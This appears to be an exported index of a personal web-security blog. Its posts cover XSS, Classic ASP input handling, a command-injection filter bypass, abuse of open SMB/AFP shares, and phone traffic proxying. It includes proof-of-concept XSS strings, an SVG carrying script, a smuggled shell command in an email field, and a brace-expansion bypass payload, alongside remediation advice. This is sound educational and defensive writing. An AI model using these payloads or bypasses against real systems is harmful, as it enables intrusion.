ZAP Now what? Well, you want to see if you can sneak in special HTML characters into a response. I typically try with a strange string like \u0026lt; \u0026gt; ; \u0026quot; \u0026rsquo; /\nThis will give you an idea of what special characters are being properly encoded, so you can start formulating an attack. In general, you want to be able to inject your own HTML tag or complete an HTML tag and inject a new tag following. Notice in the example below, the user can control the hover text for an image, so you can inject a closing quote / angle bracket and then start your payload.\n\u0026lt;img src=\u0026#34;/img/something.jpg\u0026#34; alt=\u0026#34;USER_DEFINED\u0026#34; /\u0026gt; \u0026lt;img src=\u0026#34;/img/something.jpg\u0026#34; alt=\u0026#34;asdasd\u0026#34;/\u0026gt;\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u0026#34; /\u0026gt; In other situations, you may be able to control a piece of Javascript in which case you also need to know what characters are being encoded in the response so that you can being formulating an attack. Notice in the example below, a website uses the redirect parameter to define a Javascript redirect. Abusing the redirect parameter allows a malicious user to take full control of the Javascript snippet.\n\u0026lt;script\u0026gt; var redirect = \u0026#34;https://example.com?page=USER_DEFINED\u0026#34;; window.location = redirect; \u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; // Notice how we can abuse a redirect parameter to inject into a Javascript redirect // We embed a comment at the end of the attack to ignore extra Javascript code var redirect = \u0026#34;https://example.com?page=asd\u0026#34;;alert(\u0026#39;xss\u0026#39;);//\u0026#34;; window.location = redirect; \u0026lt;/script\u0026gt; Lastly, my favorite way to get XSS in a website is via SVG images. SVG images are a strange image format that is effectively an XML file containing image data. Fun thing though, you can also define Javascript inside of an SVG as well.\nI\u0026rsquo;m sure you can see where this is going\u0026hellip;\nIf you can find a website that will let you upload an SVG image (and it does NOT process the file), you can typically get free XSS. What do I mean by process the file? Well, if the site does not transform your SVG to a PNG or JPG, you are likely good to go. The only other requirement is that you can force browse to your uploaded image (In Chrome, you right click the image, and choose Open Image in New Tab). If those conditions are met, when you open your malicious image in a new tab you should have had Javascript run. Refer to the snippet below for an example SVG with embedded Javascript.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; standalone=\u0026#34;no\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg PUBLIC \u0026#34;-//W3C//DTD SVG 1.1//EN\u0026#34; \u0026#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\u0026#34;\u0026gt; \u0026lt;svg version=\u0026#34;1.1\u0026#34; baseProfile=\u0026#34;full\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u0026gt; \u0026lt;polygon id=\u0026#34;triangle\u0026#34; points=\u0026#34;0,0 0,50 50,0\u0026#34; fill=\u0026#34;#009900\u0026#34; stroke=\u0026#34;#004400\u0026#34;/\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; alert(\u0026#39;This app is probably vulnerable to XSS attacks!\u0026#39;); \u0026lt;/script\u0026gt; \u0026lt;/svg\u0026gt; ## Credit to: https://www.grepular.com/Scalable_Vector_Graphics_and_XSS for providing the internet ## with an awesome SVG XSS attack Now, I fully understand that the examples provided are incredibly basic and not terribly realistic. However, they get the general strategy down and get you thinking about how to start thinking like a malicious user. In most situations, a decent web framework is being used or mod_security will be yelling at you for being rather rude with your web requests. In this case, you always have the OWASP XSS Cheat Sheet. Brutelogic also made a wonderful cheat sheet and a tool for creating an XSS payload.\nFixing an XSS Issue # What recommendations should you make when you submit an XSS bug? Let\u0026rsquo;s be honest, you are an awesome fellow if you include remediation instructions as well as detailed write-up. Resolving XSS isn\u0026rsquo;t always a hard-fast rule. It really depends on a few different factors.\nIn most cases, encoding all output should resolve most issues. However, what about different encoding schemes? Well, if the user input is being placed in a redirect URL, you should likely URL encode it. If the user input is being placed directly into an HTML tag, you should likely HTML encode it. If by some God awful reason it\u0026rsquo;s being placed into a Javascript snippet, you better Javascript escape it.\nSome people like to just remove areas where user-input is being returned in the response. Sometimes this is the easiest fix if the user input does not really need to be returned in the response.\nWrapping Up # After a while, you will start to immediately notice when a website returns back your input in a response. And trust me, you will also find yourself testing special characters in that same website just to see if you should waste your time poking for an XSS issue. End of the day, testing for XSS issues is pretty straightforward when you realize there\u0026rsquo;s a handful of tools and strategies to find these issues quickly.\n","date":"13 February 2017","externalUrl":null,"permalink":"/posts/2017/2017-02-13-deep-dive-cross-site-scripting/","section":"Posts","summary":"","title":"Deep Dive: Cross-Site Scripting (XSS)","type":"posts"},{"content":"","date":"13 February 2017","externalUrl":null,"permalink":"/tags/svg/","section":"Tags","summary":"","title":"Svg","type":"tags"},{"content":"","date":"11 September 2016","externalUrl":null,"permalink":"/tags/bash/","section":"Tags","summary":"","title":"Bash","type":"tags"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. I was recently testing a product (sorry, can\u0026rsquo;t disclose that part) when I found an issue I\u0026rsquo;ve personally never come across before. I\u0026rsquo;ve dealt with HTML Injection and SQL Injection (way more common than it should be) before, but I never figured I\u0026rsquo;d find a project that\u0026rsquo;d actually give me Code Injection especially in 2016. Oh how wrong I was\u0026hellip;\nWhat even is Remote Code Execution/Code Injection? # For the uninitiated, Code Injection or Remote Code Execution (RCE) is the ability to run commands on the server via a malformed request. Typically, a parameter is passed to a local program and that parameter is not checked or sanitized before being run with the local program. An example:\nYou have a web application that will send an email to a user when specific events occur. A malicious user chooses the email address test@test.com;sleep 45\nYou handle email by running a local batch job using a local program called sendmail. Your malicious user just signed up, and your web application prepares to fire off an email. The following command is run:\n$/bin/sh sendmail email_template test@test.com;sleep 45 Your application now has sent off an email to test@test.com and run the command sleep 45.\nThe implications of being able to run commands on the server itself are huge. A malicious user can wget a reverse shell, execute that shell, and then have a remote shell session on your server. A whole new level of horrible, right?\nFun Filter Bypasses # During my product testing, I was able to identify a few different locations where I thought RCE was possible. I ran into some immediate trouble though. My semicolons (;) were being stripped away and additional spaces were being replaced with underscores (_). How rude of this application to make my life difficult.\nEnter my new friends: the pipe (|) and the double ampersand (\u0026amp;\u0026amp;). Anyone who has ever used a bash shell has likely used these operators to chain commands together. And to my luck, the pipe worked in one field and the double ampersand worked in another field. SCORE.\nNext problem, spaces were being trimmed, removed, or weirdly replaced with other characters. That\u0026rsquo;s kind of a roadblock when you need to space delimit commands and parameters. NOT SCORE. Back to the drawing board\u0026hellip;\nI stumbled across a blog post from the CTO/Co-founder of Duo Security (https://jon.oberheide.org/blog/2008/09/04/bash-brace-expansion-cleverness/) that literally solved the last bit of my problem. Evidently with bash, you can make a list of comma delimited commands surrounded with curly brackets. Who friggin\u0026rsquo; knew!\nAnd of course, the final payload. Quite literally my favorite payload thus far.\nQuick Note: My forward slashes were also being removed, so that\u0026rsquo;s why this is extra messy.\n{cd,..}\u0026amp;\u0026amp;{cd,..}\u0026amp;\u0026amp;{cd,..}\u0026amp;\u0026amp;{cd,..}\u0026amp;\u0026amp;{cd,..}\u0026amp;\u0026amp;{cd,var}\u0026amp;\u0026amp;{cd,tmp}\u0026amp;\u0026amp;{touch,owned} That disgusting collection of ampersands changes directory (eventually) back to / where it then navigates to /var/tmp and creates a new file titled owned.\nConcluding Remarks # Writing software is hard. This is nothing new. Letting user input touch system commands is a horrible idea, and I don\u0026rsquo;t even care if you sanitize. The risk for me is just too high. But, always keep in mind the command you\u0026rsquo;re running and the potential to escape from that command and injection additional commands. There is an obvious list of special characters that should always be stripped (pipe, semicolon, and double ampersand). Consider environment variables that can be read and other potential avenues for exploitation if you absolutely must run a system command with user-defined input.\nThanks for reading!\n","date":"11 September 2016","externalUrl":null,"permalink":"/posts/2016/2016-09-11-why-rce-ruins-days-weeks-and-products/","section":"Posts","summary":"","title":"Why RCE Ruins Days, Weeks, and Products","type":"posts"},{"content":"","date":"24 August 2016","externalUrl":null,"permalink":"/tags/adb/","section":"Tags","summary":"","title":"Adb","type":"tags"},{"content":"","date":"24 August 2016","externalUrl":null,"permalink":"/tags/android/","section":"Tags","summary":"","title":"Android","type":"tags"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. So what\u0026rsquo;s the big deal with this Android 7.0 Nougat nonsense anyway?? I\u0026rsquo;m honestly not sure, but I spent about an hour updating two phones this evening. I figured I\u0026rsquo;d share the steps to sideload the latest Android update in case you are as impatient as I am.\nLet\u0026rsquo;s Get Started\u0026hellip; # First off, you need a Nexus phone that is actually getting the update. Those are listed below.\nNexus 5X \u0026amp; 6P Nexus 6 Nexus Player Nexus 9 (WiFi / LTE) Pixel C Next, you need to download the OTA (Over-the-Air) image for your respective device. Hop on over to the Android developers page (https://developers.google.com/android/nexus/ota) and download the Android 7.0.0 image for your device.\nNOTE: Some links aren\u0026rsquo;t posted yet but are live. Please refer to the Android Police article where they are posting download links to the OTA images on google\u0026rsquo;s servers. (http://www.androidpolice.com/2016/08/23/flash-all-the-things-full-android-7-0-nougat-nexus-ota-roundup/)\nSetup ADB # Next, you will need ADB (Android Debug Bridge) which allows your computer to communicate with your phone.\nMac # Grab Homebrew (http://brew.sh/) RUN: brew install android-platform-tools Windows # Download the minimal ADB/fastboot executable from XDA Developers (http://forum.xda-developers.com/showthread.php?t=2317790)\nPrep Your Phone # These steps are specific for the Nexus 5X/6P. Do a quick google search on how to get your respective device into Recovery Mode if the instructions below don\u0026rsquo;t work.\nPower down your phone Hold Volume Down, then press and hold the Power button Your phone should boot into the bootloader Hit Volume Down until you see Recovery Mode selected Press the Power button Wait for the android with a red exclamation mark to appear Hold the Power button and hit Volume Up A new recovery screen should show up Hit Volume Down until you select Apply update from ADB Press the Power button Plug your phone into your computer Open terminal / command prompt (Windows users, you may need to cd into the directory where the minimal ADB package is located) RUN: adb sideload \u0026lt;zip_name_here\u0026gt;.zip You should see a progress percentage on your computer and phone. Just wait for everything to finish up, then choose the option to reboot your phone when it completes.\nAnd there ya go, Android 7.0 without the wait. Hope it helped or at least kept those of you that are impatient satisfied.\n","date":"24 August 2016","externalUrl":null,"permalink":"/posts/2016/2016-08-24-manually-update-nexus-phone-to-android-nougat/","section":"Posts","summary":"","title":"Manually Update Nexus Phone to Android Nougat (7.0)","type":"posts"},{"content":"","date":"21 August 2016","externalUrl":null,"permalink":"/tags/afp/","section":"Tags","summary":"","title":"Afp","type":"tags"},{"content":"","date":"21 August 2016","externalUrl":null,"permalink":"/tags/file-sharing/","section":"Tags","summary":"","title":"File-Sharing","type":"tags"},{"content":"","date":"21 August 2016","externalUrl":null,"permalink":"/tags/smb/","section":"Tags","summary":"","title":"Smb","type":"tags"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. I was recently involved in a 3-Day Vulnerability Assessment where I had quite literally no idea where to start. I suppose that\u0026rsquo;s to be expected when you\u0026rsquo;re the new guy and thrown into something, but I honestly wasn\u0026rsquo;t sure what to even look for. I fell onto my past knowledge and decided to just wreck anything Windows related (my previous job was a Windows-only environment). I got a few corporate IP-ranges, and I set off\u0026hellip; I quite literally nmap\u0026rsquo;d anything in that corporate IP-range (woops\u0026hellip;).\nThe Recurring Theme # Non-windows boxes had SSH open but locked down enough that I didn\u0026rsquo;t care to dig further. Developers had random HTTP ports open but most were the default Apache page.\nThat page mocked me for all 3 days of the event\u0026hellip;\nBut of course, that has nothing to do with the post title, so that can\u0026rsquo;t be why I\u0026rsquo;m writing this. Look at you, astute reader. Port 445 and 548 were the recurring theme, better yet, an intense nmap scan will even point out that it detected an SMB/AFP share with its associated permissions. How nice! As you can imagine, this was the beginning of the wild ride of internal incident reports and vulnerability findings.\nAbusing Open SMB/AFP Shares # The next obvious question is the usual So What? Well, let\u0026rsquo;s jump into some potential pivot tactics one can take with an open SMB/AFP share.\nPlacing malicious files onto an individual\u0026rsquo;s machine # This should be obvious, but if you have write access to an SMB/AFP share, you can place files onto that person\u0026rsquo;s or server\u0026rsquo;s hard drive. Depending on what files are being shared, you can attempt to swap out binaries that are typically run by Windows/Mac OSX with a meterpreter payload, swap out common programs a user would run with a meterpreter payload, or place an innocuous file on their desktop. The last option would require some social engineering to get the user to run the payload but no doubt still possible.\nDOS-ing via hard drive space consumption # Interested in truly ruining someone\u0026rsquo;s day? Well, an open SMB/AFP share with write access gives you the opportunity to fill their hard drive with cat memes until they can\u0026rsquo;t meme no more\u0026hellip;\nSensitive information disclosure # Log files, hidden metadata files, and others are juicy even when the SMB/AFP share doesn\u0026rsquo;t have write access. Make copies of any dotfiles or other log files and sift through them later. I\u0026rsquo;m not going to confirm that I obtained a private key during this exercise, but I will say that they are one of the things you find with this method.\nIt Gets Even Better # Now that you know a few things you can do with an open SMB/AFP share, let\u0026rsquo;s talk about why this is even worth mentioning. I mean, aren\u0026rsquo;t most SMB/AFP shares on your internal network? Why even worry? Well, glad you asked\u0026hellip; Over 90% of the open SMB/AFP shares I found weren\u0026rsquo;t on servers, they were on employee\u0026rsquo;s personal laptops. This means when Jane Smith, employee of Acme Inc., takes their laptop to Starbucks on Sunday that same SMB/AFP share will be hanging out on the network. And we all know that no one at Starbucks is malicious\u0026hellip;\nThe typical Starbucks WiFi user. Kind, fluffy, and obviously not out to steal your dataz.\nWrapping Up # SMB/AFP shares can expose sensitive internal information to the whole wide world when an employee decides to share a folder off their laptop. Also, those internal network shares are only an Ethernet connection away from being stolen as well, so always be sure to lock down open SMB/AFP shares on your internal network. And of course, writable SMB/AFP shares are the definition of asking to be pwned. Creating a system to monitor for file shares is a great mitigation strategy. Using Windows AD/Group Policy to not allow user\u0026rsquo;s to create shares from their laptop is another strategy. General awareness that this is something worth monitoring is really the big takeaway here, so I hope you consider this in your next red team engagement. I\u0026rsquo;m hoping to put together a tool that allows for efficient scanning of SMB/AFP shares on your network and spewing out a list of open shares with associated permissions. Keep an eye out for that in the coming weeks.\n","date":"21 August 2016","externalUrl":null,"permalink":"/posts/2016/2016-08-21-the-wonderful-world-of-smb-afp-shares/","section":"Posts","summary":"","title":"The Wonderful World of SMB/AFP Shares","type":"posts"},{"content":"","date":"19 April 2016","externalUrl":null,"permalink":"/tags/burp-suite/","section":"Tags","summary":"","title":"Burp-Suite","type":"tags"},{"content":"","date":"19 April 2016","externalUrl":null,"permalink":"/tags/ios/","section":"Tags","summary":"","title":"Ios","type":"tags"},{"content":"","date":"19 April 2016","externalUrl":null,"permalink":"/tags/mobile/","section":"Tags","summary":"","title":"Mobile","type":"tags"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. Taking a bit of a break from Classic ASP comes mobile security auditing. In this post, I will be showing you how to hook-up Burp Suite to your phone and begin proxying your mobile traffic. This allows a security professional to analyze from a black-box perspective how an app works with its internal API counterpart (and more importantly what can we break with said internal API).\nGetting Started # First things first, go snag the free copy of Burp Suite if you don\u0026rsquo;t already have it. This is not a tutorial on using Burp Suite, but I personally swear by it. Do yourself the justice of learning its quirks and grabbing a few must-have extensions. It is a wonderful tool.\nSetting Up Burp Suite # Next, let\u0026rsquo;s get Burp listening on another port (which we direct our phone to). Open Burp, click the Proxy tab, then click the Options sub-tab. Click the Add button under Proxy Listeners.\nIn the pop-up, pick an open port to bind your proxy to (I use 8082). Then select Bind on All Interfaces. On Windows, you may get a firewall warning. Be sure to allow Burp Suite to bind to this network port (otherwise you will go down a whole \u0026rsquo;nother firewall rabbit-hole).\nSetting Up The Phone (Android) # I will preface this section with the fact that I\u0026rsquo;m using Android 6.0 for my examples. Older versions of Android have some of these options in different places. Remember, Google is your friend if you need to find that one obscure setting I mention.\nFirst things first, make sure your PC and phone are on the same network (it\u0026rsquo;s okay if one is wired as long as their isn\u0026rsquo;t a subnet difference you should be good). On your phone, open the WiFi menu (Settings \u0026gt; Wi-Fi). If you\u0026rsquo;re already connected to your WiFi, forget the network!\nChoose your network, enter the password, and tap Advanced Options. Set the Proxy option to Manual. Enter the IP address of the computer running Burp, enter the port you chose before, and then tap connect.\nYou should now be connected. You should start seeing traffic in Burp under the Proxy \u0026gt; HTTP History tab. However. the fun doesn\u0026rsquo;t end here! You can only see HTTP traffic as the Burp certificate isn\u0026rsquo;t installed on your phone. Time for the next wrinkle\u0026hellip;\nOpen a browser on your phone and type: http://burp \u0026ndash; If everything is working, you will be presented with a fairly simple Burp Suite page. Tap the link for CA Certificate. Make sure that downloads to your device.\nNow, navigate to Settings \u0026gt; Security \u0026gt; Install from Storage. From here, select the certificate you just downloaded. Android may get angry and leave an ever present warning saying your traffic can now be monitored. This is normal. You are snooping on your traffic, soo\u0026hellip; They\u0026rsquo;re not far off.\nNOTE: In my testing, I needed to rename the cert.der that I obtained from http://burp. The cert file needed to be renamed to cert.cer for the Android certificate manager to understand it as a certificate. You can grab any file manager (I prefer ES File Manager) in order to rename the downloaded file.\nSetting Up The Phone (iPhone) # More preface\u0026hellip; I do not have an iPhone to snag screenshots from. Sorry. This is all from memory from an iDevice at work.\nFirst things first, make sure your PC and phone are on the same network (it\u0026rsquo;s okay if one is wired as long as their isn\u0026rsquo;t a subnet difference you should be good). Open the WiFi menu (Settings App \u0026gt; WiFi). Connect to the appropriate WiFi network. Now tap the blue-colored icon to the right of the WiFi network name.\nOn this screen, choose to use a proxy. Enter in the IP Address of your PC. Enter in the port chosen earlier.\nNow, open Safari, and navigate to http://burp \u0026ndash; Tap the CA Certificate link. You should be immediately redirected to the Install Certificate page. Choose to the install the certificate. And you\u0026rsquo;re done.\nConclusions # When you finish proxying traffic, be sure to revert all the settings you changed from this post. Leaving a Burp Suite certificate installed on your phone is a horrible idea that I hope doesn\u0026rsquo;t need explaining. Remember, every phone is different, so it\u0026rsquo;s likely this guide will not be perfect. I will happily help if you submit questions in the comments below however.\n","date":"19 April 2016","externalUrl":null,"permalink":"/posts/2016/2016-04-19-proxying-your-mobile-traffic/","section":"Posts","summary":"","title":"Mobile - Proxying Your Mobile Traffic","type":"posts"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. And we\u0026rsquo;re back for more Classic ASP!\u0026hellip; I\u0026rsquo;m sorry it had to be you. In this post, I will be describing how Cross-Site Scripting (XSS) can be a very real issue in Classic ASP. In fact, it\u0026rsquo;s the issue I find most commonly when auditing code.\nWhat is Cross-Site Scripting? # To save my own sanity, Cross-Site Scripting will be from here on out be referred to as XSS. Whew. Glad, we got that over with.\nOWASP defines XSS as:\nCross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. - https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)\nIn simpler terms, anytime user input is placed into the output of your ASP page through any means, there\u0026rsquo;s potential for XSS. Let\u0026rsquo;s show some examples to help drive the issue home.\nXSS Examples - Common Problems (Do NOT DO These) # \u0026lt;form action=\u0026#34;login.asp?\u0026lt;%= Request.Querystring(\u0026#34;redirect\u0026#34;) %\u0026gt;\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;username\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;form action=\u0026#34;post.asp\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;title\u0026#34; value=\u0026lt;%= Request.Form(\u0026#34;title\u0026#34;) %\u0026gt;\u0026gt; \u0026lt;textarea\u0026gt; \u0026lt;%= Request.Form(\u0026#34;post\u0026#34;) %\u0026gt; \u0026lt;/textarea\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; if (val) { alert(\u0026#34;The amount \u0026lt;%= Request.Form(\u0026#34;itmAmount\u0026#34;) %\u0026gt; is not valid\u0026#34;); } \u0026lt;/script\u0026gt; So, what\u0026rsquo;s actually wrong with these examples? In every example, user-input from querystrings or POST-body parameters is being used directly in the ASP response. The syntax \u0026ldquo;\u0026lt;%= %\u0026gt;\u0026rdquo; is equivalent to a Response.Write. A malicious user can add closing HTML tags, and then open their own HTML content which the page will happily return for your user. This is classic HTML Injection with the potential for easy XSS.\nFixing / Protecting from XSS Attacks # The first step to protecting your web application is to understand the context of where you are placing user-defined variables. There are 3 primary areas I will focus on that you should be aware of:\nURL redirect values HTML field values / arbitrary HTML Dynamic javascript The first issue references my first example above. When you are creating dynamic links or form post locations, ALWAYS wrap user-defined variables in Server.URLEncode. This will sanitize the link by escaping any special characters that can\u0026rsquo;t be used in a URL. Special characters will get converted to their percent equivalent defined in the RFC.\nThe second issue references my second example above. When you are assigning field values using user-defined values or inserting user-defined variables into HTML, always wrap them in Server.HTMLEncode. This will escape all HTML special characters like \u0026ldquo;\u0026lt;\u0026rdquo; and \u0026ldquo;=\u0026rdquo; such that the browser does not render their HTML equivalent but instead their ASCII equivalent. Keep in mind, HTMLEncode does break links, so do not use this for links/form locations.\nThe third issue references my third example above. When you are using Classic ASP to generate dynamic javascript, you need to again escape user-defined variables. The problem with javascript is that Classic ASP does not have a built-in function to escape javascript. However, the author over at Dave Heavy Industries provided a nice method stub to properly escape javascript (http://www.daveheavyindustries.com/2011/10/25/asp-classic-escape-string-for-js/). That method needs some additional work, but it\u0026rsquo;s a great start for properly escaping javascript special characters.\nSanitize Your Output! # At the end of the day, you should always properly escape/sanitize your output. Just always remember to consider where you are outputting to, and encode appropriately. And as always, never trust the user\u0026rsquo;s input. Never. Ever.\nThanks for reading this far. Next up is SQL Injection\u0026hellip; Stay tuned!\n","date":"13 March 2016","externalUrl":null,"permalink":"/posts/2016/2016-03-13-classic-asp-cross-site-scripting/","section":"Posts","summary":"","title":"Classic ASP - Cross Site Scripting (XSS) [x02]","type":"posts"},{"content":"","date":"13 March 2016","externalUrl":null,"permalink":"/series/classic-asp/","section":"Series","summary":"","title":"Classic-Asp","type":"series"},{"content":"","date":"13 March 2016","externalUrl":null,"permalink":"/tags/classic-asp/","section":"Tags","summary":"","title":"Classic-Asp","type":"tags"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. This the beginning of a promised multi-part set of posts on Classic ASP. Why might I even write a post about such a dated language? Well, I personally maintain a very large chunk of Classic ASP for my job, but it also still has quite a foothold on the internet (including ASP.NET because .ASPX and other random decisions by Microsoft). Low and behold, the internet is still stuck on a lot of old, dated technology. These factors need to be kept in mind when evaluating the security of a site, web app, or any other web service.\nSource: http://trends.builtwith.com/framework\nThe Research Phase\u0026hellip; # I made the terrible mistake of googling about for Classic ASP best security practices which led to some rather hilarious examples of horrible things to do. Granted, most articles were written five to ten years ago, soo\u0026hellip; I guess they are excused. Either way, I found some good, some terrible, and some mildly in-between. I\u0026rsquo;ll be sharing my opinions and the opinions of the others for the rest of these blog posts. Expect about one (maybe two) OWASP Top 10 items to appear in a post.\nLet\u0026rsquo;s Talk About User Input # Web, like all other types of programming, has areas where the user can input information. These are the areas which matter the most for almost ALL attacks. Before securing Classic ASP, you need to know how input from the user is gathered. Listed below are most (I\u0026rsquo;m not perfect) methods for obtaining information from the user.\nRequest.Form() \u0026ndash; Data in the POST body of a web request Request.QueryString() \u0026ndash; Data in the request\u0026rsquo;s URL query string (ex. foo.com?item=1) Request.ServerVariables() \u0026ndash; Other data in the request (ex. User Agent, Referrer, etc) ex. Request.ServerVariables(\u0026ldquo;HTTP_USER_AGENT\u0026rdquo;) Request.Cookies() \u0026ndash; Cookies attached to the request Refer to the MSDN Article on Request for more information.\nThese calls will be very important for almost every other post. As with most security practices, the user is to NEVER be trusted. It\u0026rsquo;s always best to assume all users are malicious.\nXKCD 327 - Bobby Tables (aka Why Not to Trust User Input)\nThat ends this part of my Classic ASP series. Up next is Cross-Site Scripting (XSS)\u0026hellip; Stay tuned!\n","date":"2 March 2016","externalUrl":null,"permalink":"/posts/2016/2016-03-02-classic-asp-intro-to-user-input/","section":"Posts","summary":"","title":"Classic ASP - Intro to User Input [x01]","type":"posts"},{"content":"","date":"2 March 2016","externalUrl":null,"permalink":"/tags/user-input/","section":"Tags","summary":"","title":"User-Input","type":"tags"},{"content":" Originally published on my old Blogger site in 2016. Some of this may be out of date. Everything starts somewhere, so let\u0026rsquo;s just begin the nonsense starting here\u0026hellip;\nA Little About Me # I\u0026rsquo;m Sean, and I\u0026rsquo;m currently a college student on the fast track to graduate (I think I\u0026rsquo;m about 4 months out or so). I currently work in the Information Security field, primarily focused on Web Application Security. My primary focus with this blog is to convey interesting (hopefully relevant) security knowledge as well as new technologies that I stumble across. I\u0026rsquo;ve been meaning to throw together a blog forever, so I hope this thing actually takes off this time. Guess we\u0026rsquo;ll see!\nWhat\u0026rsquo;s Next? # The plan is to write things as I come across them however, I do have some ideas lined up for a Classic ASP set of posts regarding good security practices while using the frigging ancient language. I fortunately have the pleasure to work with it on a daily basis, and I have seen some of the absolute worst atrocities the language allows. Stay tuned for that saga.\nThat\u0026rsquo;s about it for now. Thanks for reading this far, whoever you are.\n","date":"23 February 2016","externalUrl":null,"permalink":"/posts/2016/2016-02-23-fond-beginnings/","section":"Posts","summary":"","title":"Fond Beginnings","type":"posts"},{"content":" 👋 Hi there, I\u0026rsquo;m Sean.\nI\u0026rsquo;m a Product Security Engineer. My day job is web application security: digging into how apps work and finding the bugs before someone else does. On the side, I write software, usually small tools that scratch a very specific itch.\nWhen I\u0026rsquo;m not at work # Hunting bugs for fun. I do bug bounty in my spare time over on Bugcrowd. Building things. Most of it lives on GitHub, and most of it is \u0026ldquo;works on my machine\u0026rdquo; quality. Fixing computers. I used to do a lot of repair and tech support through MarpTech. These days it\u0026rsquo;s mostly friends and family. Taking it easy. Hanging out with my wife and our dog, or playing video games. Say hi # I\u0026rsquo;m happy to chat about security, bug bounty, or whatever you\u0026rsquo;re building. The easiest ways to reach me are Bluesky and Signal. Email works too; the envelope icon on the homepage has my address.\n","externalUrl":null,"permalink":"/about/","section":"Security, Tech, And Ramblings","summary":"","title":"About","type":"page"}]